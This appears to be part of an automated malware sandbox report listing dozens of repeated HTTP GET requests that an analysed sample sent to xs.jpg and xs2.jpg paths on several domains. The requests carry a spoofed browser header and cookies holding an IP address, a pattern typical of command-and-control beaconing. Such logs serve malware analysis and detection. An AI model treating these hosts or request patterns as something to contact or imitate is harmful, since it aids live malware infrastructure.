                Source: global trafficHTTP traffic detected: GET /xs.jpg?235836c=111184452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159219|1720159209|3|3|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?26da991=81482530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159219|1720159210|3|3|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?27afc36=374529510 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?28f128c=128792484 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?2ed8448=294721968 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159225|1720159208|5|4|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3019abc=302620776 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159226|1720159209|5|4|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?31491f6=51679734 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159226|1720159210|5|4|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?34684a5=54953125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?35a0bf9=562329530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3bf8e4d=62885453 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159229|1720159208|4|5|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3d3a4b2=128403812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159230|1720159209|4|5|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3e6e97f=65464703 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159230|1720159210|4|5|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3f3ee61=66317921 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?43295c0=563392000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?47379df=373383515 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159233|1720159208|4|6|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4fedff7=419061715 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159234|1720159209|4|6|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5648852=90474578 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159234|1720159210|4|6|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5b6c481=287591811 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?654fad3=956092779 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?71f7cbe=478016248 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159237|1720159208|4|7|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?7bdce87=1298796870 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159238|1720159209|4|7|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?823b9f5=1229031837 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159238|1720159210|4|7|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?87676bf=993869625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?9010004=906362904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?9bcb84a=326725780 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159241|1720159208|4|8|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a33c7a9=1540490481 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159242|1720159209|4|8|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a8b8247=707660060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159243|1720159210|4|8|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?c8cad9e=1052730390 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d17ad7a=1098277730 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?e8ebb07=-2096852161 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159245|1720159208|4|9|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ef54526=-1785416836 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159246|1720159209|4|9|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?f396007=510836750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159249|1720159210|5|9|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?fb097cd=1842620059 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1017493b=1349807655 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?10ed67fd=1987958763 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159253|1720159208|6|10|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?118d68fd=1472400625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159254|1720159209|6|10|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?11e16078=899948904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159254|1720159210|5|10|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1239c7e1=2140436263 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?12c69143=1260012812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?13a2f3e7=329446375 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159257|1720159208|5|11|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?14cdee4b=349040203 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159257|1720159209|4|11|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?15136c45=353594437 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159258|1720159210|4|11|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?15a06cb5=-666616046 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1616ff23=1482423436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?16fa95a6=-439756676 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159261|1720159208|4|12|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1763225c=-1155984672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159263|1720159209|5|12|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?17b796b8=1591630560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159264|1720159210|5|12|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1810ba1e=-1468721454 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?189e6034=1652130000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?196cfa85=-1308960349 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159266|1720159208|4|13|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1a08d9e7=1747150748 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159267|1720159209|4|13|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1a62f99e=442694046 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159267|1720159210|4|13|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1aa9008f=-1611267238 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1b587445=292850354 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1c7d0e18=-471306048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159270|1720159208|4|14|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1d1fe4cd=1465888359 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159270|1720159209|3|14|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1d74f53a=1976816872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159271|1720159210|4|14|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1eda9402=881444884 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?20477b5a=37477072 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?21e29ffa=821534666 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159275|1720159208|4|15|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?222ff603=1720705545 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159275|1720159209|4|15|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?2340b65a=-746306020 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159276|1720159210|4|15|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?23fa445e=1741073324 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?258061e0=109227296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?278faa5f=-976333861 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159279|1720159208|4|16|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?28beeeaa=-1560560984 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159280|1720159209|4|16|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?29c644f8=1401719280 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159281|1720159210|4|16|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?2abb0eed=-1427358796 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?2be8bf39=-611599331 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?384fb301=-1031956472 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159283|1720159208|4|17|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?39c6efac=1103453368 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159284|1720159209|4|17|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3b304979=-645772344 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159284|1720159210|3|17|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3bc3b77a=718443874 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
